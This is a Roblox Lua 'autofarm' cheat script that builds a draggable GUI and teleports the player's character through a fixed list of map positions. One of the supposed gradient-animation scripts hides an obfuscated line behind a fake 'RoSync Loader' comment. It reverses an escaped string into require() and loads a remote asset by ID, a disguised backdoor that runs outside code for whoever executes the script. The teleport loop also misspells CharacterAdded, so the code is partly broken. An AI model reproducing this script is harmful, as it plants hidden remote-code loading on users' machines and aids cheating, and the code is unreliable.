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- -- luobu autofarm
- -- Instances:
- local ScreenGui = Instance.new("ScreenGui")
- local Frame = Instance.new("ImageLabel")
- local Frame_2 = Instance.new("ImageLabel")
- local TextLabel = Instance.new("TextLabel")
- local UIGradient = Instance.new("UIGradient")
- local TextButton_Roundify_12px = Instance.new("ImageLabel")
- local TextButton = Instance.new("TextButton")
- local UIGradient_2 = Instance.new("UIGradient")
- local UIGradient_3 = Instance.new("UIGradient")
- --Properties:
- ScreenGui.Parent = game.CoreGui
- Frame.Name = "Frame"
- Frame.Parent = ScreenGui
- Frame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
- Frame.BackgroundTransparency = 1.000
- Frame.Position = UDim2.new(0.33775422, 0, 0.33374235, 0)
- Frame.Size = UDim2.new(0, 353, 0, 271)
- Frame.Image = "rbxassetid://3570695787"
- Frame.ScaleType = Enum.ScaleType.Slice
- Frame.SliceCenter = Rect.new(100, 100, 100, 100)
- Frame.SliceScale = 0.120
- Frame.Active = true
- Frame.Draggable = true
- Frame_2.Name = "Frame"
- Frame_2.Parent = Frame
- Frame_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
- Frame_2.BackgroundTransparency = 1.000
- Frame_2.Position = UDim2.new(0.0198300295, 0, 0.0184501838, 0)
- Frame_2.Size = UDim2.new(0, 338, 0, 261)
- Frame_2.Image = "rbxassetid://3570695787"
- Frame_2.ImageColor3 = Color3.fromRGB(55, 55, 55)
- Frame_2.ScaleType = Enum.ScaleType.Slice
- Frame_2.SliceCenter = Rect.new(100, 100, 100, 100)
- Frame_2.SliceScale = 0.120
- TextLabel.Parent = Frame_2
- TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
- TextLabel.BackgroundTransparency = 1.000
- TextLabel.Position = UDim2.new(0.0946745574, 0, 0.0344827585, 0)
- TextLabel.Size = UDim2.new(0, 274, 0, 39)
- TextLabel.Font = Enum.Font.Gotham
- TextLabel.Text = "Luobu - AutoPrice"
- TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
- TextLabel.TextScaled = true
- TextLabel.TextSize = 14.000
- TextLabel.TextWrapped = true
- UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.fromRGB(255, 255, 255)), ColorSequenceKeypoint.new(1.00, Color3.fromRGB(55, 55, 55))}
- UIGradient.Parent = TextLabel
- TextButton_Roundify_12px.Name = "TextButton_Roundify_12px"
- TextButton_Roundify_12px.Parent = Frame_2
- TextButton_Roundify_12px.Active = true
- TextButton_Roundify_12px.AnchorPoint = Vector2.new(0.5, 0.5)
- TextButton_Roundify_12px.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
- TextButton_Roundify_12px.BackgroundTransparency = 1.000
- TextButton_Roundify_12px.Position = UDim2.new(0.498520702, 0, 0.586206913, 0)
- TextButton_Roundify_12px.Selectable = true
- TextButton_Roundify_12px.Size = UDim2.new(0.694178045, 0, 0.436781555, 0)
- TextButton_Roundify_12px.Image = "rbxassetid://3570695787"
- TextButton_Roundify_12px.ImageColor3 = Color3.fromRGB(66, 66, 66)
- TextButton_Roundify_12px.ScaleType = Enum.ScaleType.Slice
- TextButton_Roundify_12px.SliceCenter = Rect.new(100, 100, 100, 100)
- TextButton_Roundify_12px.SliceScale = 0.120
- TextButton.Parent = TextButton_Roundify_12px
- TextButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
- TextButton.BackgroundTransparency = 1.000
- TextButton.BorderSizePixel = 0
- TextButton.Position = UDim2.new(0.0213099513, 0, 0.0480943695, 0)
- TextButton.Size = UDim2.new(0, 225, 0, 102)
- TextButton.Font = Enum.Font.Gotham
- TextButton.Text = "Start Farming"
- TextButton.TextColor3 = Color3.fromRGB(255, 255, 255)
- TextButton.TextScaled = true
- TextButton.TextSize = 14.000
- TextButton.TextWrapped = true
- TextButton.MouseButton1Down:connect(function()
- local pos = Vector3.new(160.5, 7.65, 7.22498)
- local ts = game:GetService('TweenService')
- local plr = game.Players.LocalPlayer
- local Char = plr.Character or plr.CharacterAddea:wait()
- local t = ts:create(Char.Humanoid.RootPart,TweenInfo.new(0 --[[ time ]]), {CFrame = CFrame.new(pos)} )
- t:Play()
- wait(0.1)
- local pos = Vector3.new(245.245, 53.7665, 24.0262)
- local ts = game:GetService('TweenService')
- local plr = game.Players.LocalPlayer
- local Char = plr.Character or plr.CharacterAddea:wait()
- local t = ts:create(Char.Humanoid.RootPart,TweenInfo.new(0 --[[ time ]]), {CFrame = CFrame.new(pos)} )
- t:Play()
- wait(0.1)
- local pos = Vector3.new(137.45, 2.15, 232.375)
- local ts = game:GetService('TweenService')
- local plr = game.Players.LocalPlayer
- local Char = plr.Character or plr.CharacterAddea:wait()
- local t = ts:create(Char.Humanoid.RootPart,TweenInfo.new(0 --[[ time ]]), {CFrame = CFrame.new(pos)} )
- t:Play()
- wait(0.1)
- local pos = Vector3.new(-32.3999, 12.1426, -35.2273)
- local ts = game:GetService('TweenService')
- local plr = game.Players.LocalPlayer
- local Char = plr.Character or plr.CharacterAddea:wait()
- local t = ts:create(Char.Humanoid.RootPart,TweenInfo.new(0 --[[ time ]]), {CFrame = CFrame.new(pos)} )
- t:Play()
- wait(0.1)
- local pos = Vector3.new(475.05, 17.25, -7.22504)
- local ts = game:GetService('TweenService')
- local plr = game.Players.LocalPlayer
- local Char = plr.Character or plr.CharacterAddea:wait()
- local t = ts:create(Char.Humanoid.RootPart,TweenInfo.new(0 --[[ time ]]), {CFrame = CFrame.new(pos)} )
- t:Play()
- wait(0.1)
- local pos = Vector3.new(405.48, 9.80227, -262.886)
- local ts = game:GetService('TweenService')
- local plr = game.Players.LocalPlayer
- local Char = plr.Character or plr.CharacterAddea:wait()
- local t = ts:create(Char.Humanoid.RootPart,TweenInfo.new(0 --[[ time ]]), {CFrame = CFrame.new(pos)} )
- t:Play()
- wait(0.1)
- local pos = Vector3.new(163.8, 54.6, -181.003)
- local ts = game:GetService('TweenService')
- local plr = game.Players.LocalPlayer
- local Char = plr.Character or plr.CharacterAddea:wait()
- local t = ts:create(Char.Humanoid.RootPart,TweenInfo.new(0 --[[ time ]]), {CFrame = CFrame.new(pos)} )
- t:Play()
- wait(0.1)
- local pos = Vector3.new(223.45, 68.65, -318.575)
- local ts = game:GetService('TweenService')
- local plr = game.Players.LocalPlayer
- local Char = plr.Character or plr.CharacterAddea:wait()
- local t = ts:create(Char.Humanoid.RootPart,TweenInfo.new(0 --[[ time ]]), {CFrame = CFrame.new(pos)} )
- t:Play()
- wait(0.1)
- local pos = Vector3.new(417.65, -1.35, 184.775)
- local ts = game:GetService('TweenService')
- local plr = game.Players.LocalPlayer
- local Char = plr.Character or plr.CharacterAddea:wait()
- local t = ts:create(Char.Humanoid.RootPart,TweenInfo.new(0 --[[ time ]]), {CFrame = CFrame.new(pos)} )
- t:Play()
- wait(0.1)
- local pos = Vector3.new(202.75, 1.76998, 135.725)
- local ts = game:GetService('TweenService')
- local plr = game.Players.LocalPlayer
- local Char = plr.Character or plr.CharacterAddea:wait()
- local t = ts:create(Char.Humanoid.RootPart,TweenInfo.new(0 --[[ time ]]), {CFrame = CFrame.new(pos)} )
- t:Play()
- end)
- UIGradient_2.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.fromRGB(255, 85, 127)), ColorSequenceKeypoint.new(1.00, Color3.fromRGB(0, 170, 255))}
- UIGradient_2.Parent = TextButton
- UIGradient_3.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.fromRGB(255, 85, 127)), ColorSequenceKeypoint.new(1.00, Color3.fromRGB(0, 170, 255))}
- UIGradient_3.Parent = Frame
- -- Scripts:
- local function NALHDUU_fake_script() -- UIGradient.LocalScript
- local script = Instance.new('LocalScript', UIGradient)
- local speed = 0.6 -- Speed
- local gradient = script.Parent
- local rs = game:GetService("RunService")
- rs.RenderStepped:Connect(function(dt)
- gradient.Offset = Vector2.new(gradient.Offset.X + (speed*dt), 0)
- if gradient.Offset.X >= 1 then
- local isRotated = (gradient.Rotation == 180)
- gradient.Rotation = isRotated and 0 or 180; gradient.Offset = Vector2.new(-1, 0) --isRotated and -0.5 or -1
- end
- end)
- end
- coroutine.wrap(NALHDUU_fake_script)()
- local function ZTBKE_fake_script() -- UIGradient.
- local script = Instance.new('Script', UIGradient)
- --[[ Last synced 9/8/2021 07:00 RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5723263360) --[[ ]]--
- end
- coroutine.wrap(ZTBKE_fake_script)()
- local function WDRMNNS_fake_script() -- UIGradient_2.LocalScript
- local script = Instance.new('LocalScript', UIGradient_2)
- local speed = 1 -- Speed
- local gradient = script.Parent
- local rs = game:GetService("RunService")
- rs.RenderStepped:Connect(function(dt)
- gradient.Offset = Vector2.new(gradient.Offset.X + (speed*dt), 0)
- if gradient.Offset.X >= 1 then
- local isRotated = (gradient.Rotation == 180)
- gradient.Rotation = isRotated and 0 or 180; gradient.Offset = Vector2.new(-1, 0) --isRotated and -0.5 or -1
- end
- end)
- end
- coroutine.wrap(WDRMNNS_fake_script)()
- local function IAEJEZ_fake_script() -- UIGradient_3.LocalScript
- local script = Instance.new('LocalScript', UIGradient_3)
- local speed = 1 -- Speed
- local gradient = script.Parent
- local rs = game:GetService("RunService")
- rs.RenderStepped:Connect(function(dt)
- gradient.Offset = Vector2.new(gradient.Offset.X + (speed*dt), 0)
- if gradient.Offset.X >= 1 then
- local isRotated = (gradient.Rotation == 180)
- gradient.Rotation = isRotated and 0 or 180; gradient.Offset = Vector2.new(-1, 0) --isRotated and -0.5 or -1
- end
- end)
- end
- coroutine.wrap(IAEJEZ_fake_script)()
- local function VISYM_fake_script() -- Frame.LocalScript
- local script = Instance.new('LocalScript', Frame)
- -- Draggble
- -- Credits: Veky
- local UserInputService = game:GetService("UserInputService")
- local gui = script.Parent
- local dragging
- local dragInput
- local dragStart
- local startPos
- local function update(input)
- local delta = input.Position - dragStart
- gui.Position = gui:TweenPosition(UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y), 'Out', 'Linear', 0, true); -- drag speed
- end
- gui.InputBegan:Connect(function(input)
- if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
- dragging = true
- dragStart = input.Position
- startPos = gui.Position
- input.Changed:Connect(function()
- if input.UserInputState == Enum.UserInputState.End then
- dragging = false
- end
- end)
- end
- end)
- gui.InputChanged:Connect(function(input)
- if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
- dragInput = input
- end
- end)
- UserInputService.InputChanged:Connect(function(input)
- if input == dragInput and dragging then
- update(input)
- end
- end)
- end
- coroutine.wrap(VISYM_fake_script)()
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